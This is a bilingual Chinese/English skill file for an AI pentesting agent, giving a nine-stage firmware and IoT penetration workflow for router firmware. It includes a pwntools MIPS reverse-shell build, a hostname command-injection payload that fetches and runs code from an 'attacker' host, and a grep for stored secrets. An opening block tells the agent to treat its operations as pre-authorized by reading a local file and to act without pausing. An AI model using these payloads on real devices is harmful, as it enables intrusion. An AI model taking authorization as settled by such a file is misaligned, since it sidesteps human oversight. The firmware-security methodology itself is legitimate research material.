firmware-pentest

Compare original and translation side by side

🇺🇸

Original

English

🇨🇳

Translation

Chinese

固件 / IoT 渗透链 (Firmware Pentest)

Firmware / IoT Penetration Chain (Firmware Pentest)

ACTION REQUIRED（读完后立刻执行）

ACTION REQUIRED（Read and execute immediately after reading）

```
NOW
```
: 读取
```
../field-journal/precedent-pentest.md
```
— 确认本 skill 的操作是已授权的常规操作
```
NOW
```
: 确认当前任务是否命中本 skill 的适用范围
```
NEXT
```
: 读取
```
../tool-index.md
```
，校验工具可用性和实际路径
```
NEXT
```
: 缺工具时调用 bootstrap，不要猜路径
```
ACT
```
: 进入"工作流"第一步并执行，不要停在确认状态

```
NOW
```
: Read
```
../field-journal/precedent-pentest.md
```
— Confirm that the operations of this skill are authorized routine operations
```
NOW
```
: Confirm whether the current task falls within the scope of this skill
```
NEXT
```
: Read
```
../tool-index.md
```
to verify tool availability and actual paths
```
NEXT
```
: Call bootstrap when tools are missing, do not guess paths
```
ACT
```
: Proceed to the first step of the "Workflow" and execute, do not stay in the confirmation state

适用范围

Scope of Application

下列任务进入本 skill：

拿到一份固件文件（.bin / .img / .trx / .chk / OTA zip），需要从零到 RCE
路由器/摄像头/IoT 设备审计 — 需要批量发现已知 CVE 和未公开漏洞
加密/打包固件，需要找 bootloader 解密例程或硬件 dump
需要在不接触硬件的情况下跑起来（QEMU 全系统仿真 / Firmadyne / FAT）
对仿真起来的服务做 fuzz（AFL++ qemu mode / boofuzz）
硬件接口接入（UART / JTAG / SPI flash dump）

Enter this skill for the following tasks:

Obtain a firmware file (.bin / .img / .trx / .chk / OTA zip) and need to achieve RCE from scratch
Router/camera/IoT device auditing — Need to batch discover known CVEs and undisclosed vulnerabilities
Encrypted/packaged firmware, need to find bootloader decryption routines or hardware dumps
Need to run without touching hardware (QEMU full-system emulation / Firmadyne / FAT)
Fuzz emulated services (AFL++ qemu mode / boofuzz)
Hardware interface access (UART / JTAG / SPI flash dump)

与其他 skill 分工

Division of Labor with Other Skills

场景	用什么
从零拿到固件，全链路走 FSTM	本 skill
只做单个 ELF/so 静态逆向	`reverse-engineering/` 、 `ida-reverse/` 、 `radare2/`
仿真起来后做 Web/RCE 利用	`pentest-tools/` 、 `attack-chain/`
硬件接口（UART/JTAG/SPI）实操	本 skill 的 Stage 2 章节 + `patterns-hardware.md`
APK / Android 固件（含 boot.img）	`apk-reverse/` （先剥 boot.img 再用本 skill）
跨版本固件符号迁移	`binary-diff/`

Scenario	What to Use
Obtain firmware from scratch and follow FSTM full chain	This skill
Only perform static reverse engineering of a single ELF/so	`reverse-engineering/` 、 `ida-reverse/` 、 `radare2/`
Perform Web/RCE exploitation after emulation	`pentest-tools/` 、 `attack-chain/`
Hardware interface (UART/JTAG/SPI) operation	Stage 2 of this skill + `patterns-hardware.md`
APK / Android firmware (including boot.img)	`apk-reverse/` (Strip boot.img first then use this skill)
Cross-version firmware symbol migration	`binary-diff/`

核心原理

Core Principles

text

固件 .bin
   │
   ├─ Stage 1-3: 信息收集 / 获取 / 静态分析（不解压也能看的部分）
   │
   ├─ Stage 4: 提取文件系统  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
   │
   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep
   │
   ├─ Stage 6: 模拟运行  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: 动态 / 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra
   │
   └─ Stage 9: 二进制利用  ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload

关键判断：

提取失败不等于固件加密，先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
EMBA 一行命令出 HTML 报告，能省 80% 体力，剩 20% 是真正的漏洞挖掘
仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、
```
/dev/
```
节点缺失
ARM / MIPS payload 必须区分大小端（mipsel vs mipseb），别用错

text

Firmware .bin
   │
   ├─ Stage 1-3: Information Gathering / Obtaining / Static Analysis (parts visible without extraction)
   │
   ├─ Stage 4: Extract Filesystem  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ Failure → Find bootloader decryption routine / UART dump / SPI flash hardware reading
   │
   ├─ Stage 5: Static Filesystem Analysis  ← EMBA automation + manual grep
   │
   ├─ Stage 6: Emulation  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: Dynamic / Runtime Analysis  ← gdb-multiarch, IDA remote debugging, Ghidra
   │
   └─ Stage 9: Binary Exploitation  ← AFL++ fuzz / manual PoC / ARM / MIPS payload

Key Judgments:

Extraction failure does not mean the firmware is encrypted; run binwalk v2, binwalk v3, unblob, jefferson, ubi_reader all first
EMBA generates HTML reports with one command, saving 80% of effort, the remaining 20% is real vulnerability discovery
When emulation fails, prioritize suspecting missing NVRAM, mismatched network card names, missing
```
/dev/
```
nodes
ARM / MIPS payloads must distinguish endianness (mipsel vs mipseb), do not use the wrong one

OWASP FSTM 九阶段工作流

OWASP FSTM 9-Stage Workflow

Stage 1 — 信息收集（Information Gathering）

Stage 1 — Information Gathering

收集型号、芯片、SDK、已公开 CVE。

bash

undefined

Collect model, chip, SDK, and disclosed CVEs.

bash

undefined

FCC ID 查询（美区设备）

FCC ID Query (US region devices)

curl -s "https://fccid.io/?q=$FCC_ID"

芯片识别参考点

Chip Identification Reference Points

echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"


输出：芯片型号、SDK 来源（SDK 决定 binwalk 能否一把成功）。

echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"


Output: Chip model, SDK source (SDK determines whether binwalk can succeed in one go).

Stage 2 — 获取固件（Obtaining Firmware）

Stage 2 — Obtaining Firmware

四条路：官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。

bash

undefined

Four paths: Official website download, OTA packet capture, dump after getting shell via UART, physical reading via SPI flash.

bash

undefined

OTA 抓包后批量下载

Batch download after OTA packet capture

mitmdump -s save_response.py

UART 接入（USB-TTL，常用波特率 57600 / 115200）

UART Access (USB-TTL, common baud rates 57600 / 115200)

picocom -b 115200 /dev/ttyUSB0

SPI flash 用 CH341A + flashrom 读

SPI flash reading with CH341A + flashrom

flashrom -p ch341a_spi -r dump.bin

undefined

flashrom -p ch341a_spi -r dump.bin

undefined

Stage 3 — 分析固件（Analyzing Firmware）

Stage 3 — Analyzing Firmware

不解压先看头部、熵、字符串、可识别签名。

bash

binwalk firmware.bin              # magic 扫描
binwalk -E firmware.bin           # 熵图，高熵段=压缩/加密
strings -n 8 firmware.bin | less  # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64

Check header, entropy, strings, and recognizable signatures without extraction.

bash

binwalk firmware.bin              # Magic scan
binwalk -E firmware.bin           # Entropy graph, high entropy segment = compressed/encrypted
strings -n 8 firmware.bin | less  # Banner / kernel version / paths
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 — 提取文件系统（Extracting Filesystem）

Stage 4 — Extracting Filesystem

详见

references/extraction-methodology.md

。

bash

binwalk -eM firmware.bin           # 递归提取
unblob -d out/ firmware.bin        # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

See

references/extraction-methodology.md

for details.

bash

binwalk -eM firmware.bin           # Recursive extraction
unblob -d out/ firmware.bin        # Handle formats that binwalk fails to process
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 — 静态分析文件系统（Filesystem Analysis）

Stage 5 — Static Filesystem Analysis

EMBA 一键扫，详见

references/emba-automated-analysis.md

。

bash

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

手工补：

bash

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

EMBA one-click scan, see

references/emba-automated-analysis.md

for details.

bash

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

Manual supplements:

bash

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — 模拟运行（Emulating Firmware）

Stage 6 — Emulating Firmware

详见

references/emulation-and-fuzz.md

。

bash

undefined

See

references/emulation-and-fuzz.md

for details.

bash

undefined

用户态：跑单个 binary

User mode: Run a single binary

qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

全系统：FAT（Firmadyne 封装版）

Full system: FAT (Firmadyne packaged version)

sudo fat.py firmware.bin

undefined

sudo fat.py firmware.bin

undefined

Stage 7 — 动态分析（Dynamic Analysis）

Stage 7 — Dynamic Analysis

仿真起来后挂调试器、抓流量、跑 fuzz。

bash

undefined

Attach debugger, capture traffic, run fuzz after emulation.

bash

undefined

gdb 远程调试 MIPS

GDB remote debugging for MIPS

qemu-mipsel-static -g 1234 ./vuln_binary gdb-multiarch ./vuln_binary -ex "target remote :1234"

Burp + 路由 Web UI

Burp + Router Web UI

echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"

undefined

echo "Set the IP emulated by Firmadyne as the Burp upstream proxy target"

undefined

Stage 8 — 运行时分析（Runtime Analysis）

Stage 8 — Runtime Analysis

在真实硬件上挂调试器，或者仿真态做覆盖率制导 fuzz。

bash

undefined

Attach debugger on real hardware, or perform coverage-guided fuzz in emulation mode.

bash

undefined

AFL++ qemu mode 对 ARM / MIPS binary fuzz

AFL++ qemu mode fuzzing for ARM / MIPS binary

AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

undefined

AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

undefined

Stage 9 — 二进制利用（Exploitation）

Stage 9 — Binary Exploitation

写 PoC，生成 payload，落地 root shell。

bash

undefined

Write PoC, generate payload, get root shell.

bash

undefined

pwntools 生成 MIPS reverse shell

Pwntools generate MIPS reverse shell

python3 -c " from pwn import * context.arch = 'mips' context.endian = 'little' print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()) " | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

ROP gadget

ropper --file squashfs-root/usr/sbin/httpd --search "system"

undefined

ropper --file squashfs-root/usr/sbin/httpd --search "system"

undefined

典型场景示例

Typical Scenario Examples

场景 1：普通路由器固件全链路（TP-Link / 小米路由器 / OpenWrt 衍生）

Scenario 1: Full Chain of Ordinary Router Firmware (TP-Link / Xiaomi Router / OpenWrt Derivatives)

text

固件: router_v1.2.3.bin（未加密 squashfs）
目标: 找 Web 管理界面未授权 RCE 并复现

Step 1 信息收集
  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash
  - 已公开 CVE：CVE-2023-xxxxx（chk 头校验缺陷）

Step 2 获取固件
  - 官网下载 .bin，sha256 与已知样本对比

Step 3 分析
  - binwalk → 检出 uImage + squashfs-xz
  - 熵图 → squashfs 段熵 ~0.95（正常压缩）

Step 4 提取
  - binwalk -eM router_v1.2.3.bin
  - 得到 squashfs-root/ 完整根文件系统

Step 5 EMBA 扫
  - 报告里高危：lighttpd 1.4.45（CVE-2018-19052）+ busybox 1.27.2 多 CVE
  - 自家二进制：/usr/sbin/cgibin 含 system() 直拼字符串

Step 6 仿真
  - sudo fat.py router_v1.2.3.bin
  - 仿真起来 IP 192.168.0.1，Web 可访问

Step 7-8 动态
  - Burp 抓 /cgi-bin/luci 系列接口
  - 发现 hostname 参数直拼 system

Step 9 利用
  - 构造 hostname=`;wget http://attacker/x;sh x;`
  - 仿真态成功反弹 shell
  - 真机复测通过 → 提报 SRC

text

Firmware: router_v1.2.3.bin (unencrypted squashfs)
Target: Find unauthenticated RCE in Web management interface and reproduce it

Step 1 Information Gathering
  - FCC ID reverse lookup → MT7621 + MT7615 + 16MB flash
  - Disclosed CVE: CVE-2023-xxxxx (chk header verification flaw)

Step 2 Obtain Firmware
  - Download .bin from official website, compare sha256 with known samples

Step 3 Analysis
  - binwalk → Detects uImage + squashfs-xz
  - Entropy graph → squashfs segment entropy ~0.95 (normal compression)

Step 4 Extraction
  - binwalk -eM router_v1.2.3.bin
  - Get complete root filesystem squashfs-root/

Step 5 EMBA Scan
  - High-risk items in report: lighttpd 1.4.45 (CVE-2018-19052) + multiple CVEs in busybox 1.27.2
  - In-house binary: /usr/sbin/cgibin contains direct string concatenation with system()

Step 6 Emulation
  - sudo fat.py router_v1.2.3.bin
  - Emulated IP 192.168.0.1, Web interface accessible

Step 7-8 Dynamic Analysis
  - Burp captures /cgi-bin/luci series interfaces
  - Discovers hostname parameter directly concatenated into system

Step 9 Exploitation
  - Construct hostname=`;wget http://attacker/x;sh x;`
  - Successfully gets reverse shell in emulation mode
  - Passes real-device retest → Submit to SRC

场景 2：加密固件（找 bootloader 解密例程）

Scenario 2: Encrypted Firmware (Find Bootloader Decryption Routine)

text

固件: encrypted_fw.bin（binwalk 全空白 + 熵 ~0.99）

Step 1 判断是否真加密
  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
  - 头部前 256 字节 hexdump → 看是否有 vendor header

Step 2 拿到 bootloader
  - UART 启动时按键进 U-Boot
  - md.b 0x80000000 0x1000   # 读内存
  - 或 SPI flash 物理读取整片 → 含 U-Boot 段

Step 3 逆 U-Boot 找解密例程
  - 用 reverse-engineering skill（IDA / Ghidra）
  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt
  - 通常是 AES-128-CBC，key 硬编在 .rodata

Step 4 离线解密
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 回到 Stage 4 重新走标准流程
  - binwalk decrypted.bin → 看到 squashfs
  - 后续与场景 1 相同

兜底
  - bootloader 也加密 → 找 SoC 一级 ROM 文档
  - SoC 有安全启动 → 看公开 fault injection / glitch 资料

text

Firmware: encrypted_fw.bin (binwalk shows nothing + entropy ~0.99)

Step 1 Determine if it is truly encrypted
  - Entropy ~0.99 across all segments and no magic signatures → Most likely encrypted or purely compressed
  - Hexdump first 256 bytes of header → Check for vendor header

Step 2 Obtain Bootloader
  - Press key to enter U-Boot during UART boot
  - md.b 0x80000000 0x1000   # Read memory
  - Or physically read entire SPI flash → Contains U-Boot segment

Step 3 Reverse U-Boot to Find Decryption Routine
  - Use reverse-engineering skill (IDA / Ghidra)
  - Entry board_init_r → Find image_decrypt before do_bootm
  - Usually AES-128-CBC, key hardcoded in .rodata

Step 4 Offline Decryption
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 Return to Stage 4 and Follow Standard Process
  - binwalk decrypted.bin → Detects squashfs
  - Subsequent steps same as Scenario 1

Backup Plan
  - Bootloader also encrypted → Find SoC-level ROM documentation
  - SoC has secure boot → Check public fault injection / glitch materials

注意事项

Notes

大小端：MIPS 路由器常见 mipsel（小端，MT 系列）/ mipseb（大端，Broadcom 系列），qemu binary 别用错
NVRAM：仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值，Firmadyne 有 libnvram hook，FAT 默认带
EMBA 不是银弹：跑出来一堆 CVE 别全信，要核对版本字符串和实际利用条件
AFL++ qemu mode 慢：先用 afl-clang-lto 重编译目标（如果有源码），快 5-10 倍
真机操作前先 dump：物理设备砖前必备整片 flash dump，用 flashrom / ch341a / minipro
法律边界：自家设备、SRC 授权、CTF、公开靶机才能搞，企业生产设备需要书面授权
field-journal 回写：每完成一个固件，记录芯片型号、SDK、binwalk 是否成功、仿真是否成功，下次同系列直接复用

Endianness: MIPS routers commonly use mipsel (little-endian, MT series) / mipseb (big-endian, Broadcom series), do not use the wrong qemu binary
NVRAM: If httpd crashes immediately after emulation → 90% chance nvram_get fails to get values, Firmadyne has libnvram hook, FAT includes it by default
EMBA is not a silver bullet: Do not trust all CVEs in the report, verify version strings and actual exploitation conditions
AFL++ qemu mode is slow: Recompile target with afl-clang-lto first (if source code is available), 5-10x faster
Dump before real-device operation: Full flash dump is essential before bricking physical devices, use flashrom / ch341a / minipro
Legal Boundaries: Only conduct on own devices, SRC-authorized devices, CTF, public targets; written authorization required for enterprise production devices
Field-Journal Writeback: Record chip model, SDK, binwalk success status, emulation success status after completing each firmware, reuse directly for same series next time

按需自举（On-Demand Bootstrap）

On-Demand Bootstrap

工具清单

Tool List

工具	用途	自动安装
binwalk v3	主提取（Rust 重写版）	✓
binwalk v2	兼容老插件	✓
unblob	兜底提取	✓
jefferson	JFFS2 提取	✓
ubi_reader	UBI / UBIFS 提取	✓
EMBA	自动化分析框架	✓
Firmadyne	全系统仿真	✓
FAT (Firmware Analysis Toolkit)	Firmadyne 封装	✓
qemu-user-static	用户态仿真	✓
qemu-system-*	全系统仿真	✓
AFL++	模糊测试	✓
pwntools	漏洞利用脚本	✓
flashrom	SPI flash 读写	✓
picocom	UART 串口	✓

Tool	Purpose	Auto-Install
binwalk v3	Main extraction (Rust rewritten version)	✓
binwalk v2	Compatible with old plugins	✓
unblob	Fallback extraction	✓
jefferson	JFFS2 extraction	✓
ubi_reader	UBI / UBIFS extraction	✓
EMBA	Automated analysis framework	✓
Firmadyne	Full-system emulation	✓
FAT (Firmware Analysis Toolkit)	Firmadyne packaging	✓
qemu-user-static	User-mode emulation	✓
qemu-system-*	Full-system emulation	✓
AFL++	Fuzz testing	✓
pwntools	Vulnerability exploitation scripts	✓
flashrom	SPI flash read/write	✓
picocom	UART serial port	✓

安装命令

Installation Commands

bash

undefined

bash

undefined

Debian / Ubuntu 一把梭

Debian / Ubuntu one-click installation

sudo apt update && sudo apt install -y
binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm
gdb-multiarch picocom flashrom build-essential libssl-dev

binwalk v3（Rust 版）

binwalk v3 (Rust version)

cargo install binwalk

Python 系列工具

Python tools

pip3 install --user unblob jefferson ubi_reader pwntools

EMBA

git clone https://github.com/e-m-b-a/emba.git ~/tools/emba cd ~/tools/emba && sudo ./installer.sh -d

Firmadyne

git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne cd ~/tools/firmadyne && sudo ./download.sh

FAT

git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

AFL++

git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp cd ~/tools/aflpp && make distrib && sudo make install

undefined

git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp cd ~/tools/aflpp && make distrib && sudo make install

undefined

Windows 用户

Windows Users

固件渗透链强依赖 Linux 工具，建议：

WSL2 Ubuntu 22.04（足够大多数场景）
或独立 Kali / Ubuntu 虚拟机
EMBA 必须 Linux，Firmadyne / FAT 必须 Linux

Firmware penetration chain relies heavily on Linux tools, it is recommended:

WSL2 Ubuntu 22.04 (sufficient for most scenarios)
Or independent Kali / Ubuntu virtual machine
EMBA requires Linux, Firmadyne / FAT require Linux

路由上下文

Routing Context

上游入口:

skills/SKILL.md

（总控）、

routing.md

触发条件: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计 下游出口:

单个二进制深度静态分析 →
```
reverse-engineering/
```
、
```
ida-reverse/
```
、
```
radare2/
```
仿真起来后做 Web RCE / 后渗透 →
```
pentest-tools/
```
、
```
attack-chain/
```
跨版本固件符号迁移 →
```
binary-diff/
```
硬件接口实操参考 →
```
patterns-hardware.md
```
APK / boot.img 处理 →
```
apk-reverse/
```

同级关联:

pentest-tools/

（Web 利用阶段配合）、

attack-chain/

（跨阶段攻击链规划）

参考文档:

```
references/extraction-methodology.md
```
— 提取细节与失败兜底
```
references/emba-automated-analysis.md
```
— EMBA 全流程
```
references/emulation-and-fuzz.md
```
— 仿真 + fuzz 实战

Upstream Entries:

skills/SKILL.md

(Master Control),

routing.md

Trigger Conditions: Tasks involve firmware files, IoT devices, embedded vulnerability discovery, router auditing Downstream Exports:

In-depth static analysis of single binary →
```
reverse-engineering/
```
、
```
ida-reverse/
```
、
```
radare2/
```
Web RCE / post-exploitation after emulation →
```
pentest-tools/
```
、
```
attack-chain/
```
Cross-version firmware symbol migration →
```
binary-diff/
```
Hardware interface operation reference →
```
patterns-hardware.md
```
APK / boot.img processing →
```
apk-reverse/
```

Peer Associations:

pentest-tools/

(cooperate in Web exploitation stage),

attack-chain/

(cross-stage attack chain planning)

Reference Documents:

```
references/extraction-methodology.md
```
— Extraction details and fallback solutions for failures
```
references/emba-automated-analysis.md
```
— EMBA full process
```
references/emulation-and-fuzz.md
```
— Emulation + fuzzing practice

任务完成自检（声称完成前 MUST 通过）

Task Completion Self-Check (MUST pass before claiming completion)

我是否执行了工作流中的每一步（而不是只阅读）？
我是否基于
```
tool-index
```
使用了真实工具路径？
我是否产出了可复现证据（命令/脚本/截图/报告）？
我是否完成并回写了 RULES 要求的 Checklist 项？

Have I executed every step in the workflow (instead of just reading)?
Have I used real tool paths based on
```
tool-index
```
?
Have I produced reproducible evidence (commands/scripts/screenshots/reports)?
Have I completed and written back the Checklist items required by RULES?